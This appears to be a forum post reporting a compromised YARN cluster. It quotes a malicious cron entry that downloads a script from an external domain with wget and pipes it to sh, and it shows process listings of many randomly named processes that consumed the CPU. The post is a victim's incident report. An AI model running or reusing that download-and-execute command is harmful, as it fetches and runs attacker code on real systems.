In my case, the below cron entry was found   $ sudo -u yarn crontab -l */10 * * * * wget http://vbyphnnymdjnsiau.3utilities.com/Bj2yso0 -O-|sh   It resulted in so many  spurious processes initiated by yarn - and shooting up the CPU. Nothing could be done. In some cases the number of entries were as high as 20k.   $ ps -ef | grep yarn yarn 30321 30318 0 11:44 ? 00:00:00 NHNe5C5iHr yarn 30323 29152 0 11:44 ? 00:00:00 NHNe5C5iHr yarn 30330 29075 0 11:44 ? 00:00:00 rxNqqqOesC1HqN yarn 30427 30319 0 11:44 ? 00:00:00 NHNe5C5iHr yarn 30773 1 0 10:34 ? 00:00:00 fexsOEvOv yarn 31186 1 0 10:34 ? 00:00:00 GqOeeG5eCC1rO yarn 31189 1 0 10:34 ? 00:00:00 ff1NrseqqffTHrve yarn 31727 1 0 09:20 ? 00:00:00 ivxvj1Ei1 yarn 31731 31727 0 09:20 ? 00:00:04 ivxvj1Ei1 yarn 31770 1 0 09:20 ? 00:00:00 GjN1GxCsqE51fs yarn 31771 31770 0 09:20 ? 00:00:21 GjN1GxCsqE51fs yarn 31774 31770 0 09:20 ? 00:00:05 GjN1GxCsqE51fs yarn 31790 1 0 09:20 ? 00:00:00 EvGeHe5OxfC yarn 31791 31790 0 09:20 ? 00:00:23 EvGeHe5OxfC yarn 31793 31790 0 09:20 ? 00:00:02 EvGeHe5OxfC yarn 31803 1 0 09:20 ? 00:00:00 qCevqvvGff1 yarn 31804 31803 0 09:20 ? 00:00:18 qCevqvvGff1 yarn 31806 31803 0 09:20 ? 00:00:04 qCevqvvGff1 yarn 32243 1 0 10:35 ? 00:00:00 TNsNf5fqTEv5esOxx yarn 32254 1 0 10:35 ? 00:00:00 qCevqvvGff1 yarn 32255 1 0 10:35 ? 00:00:00 seffjsOExr   Thanks for discussing and bringing up this issue. ... View more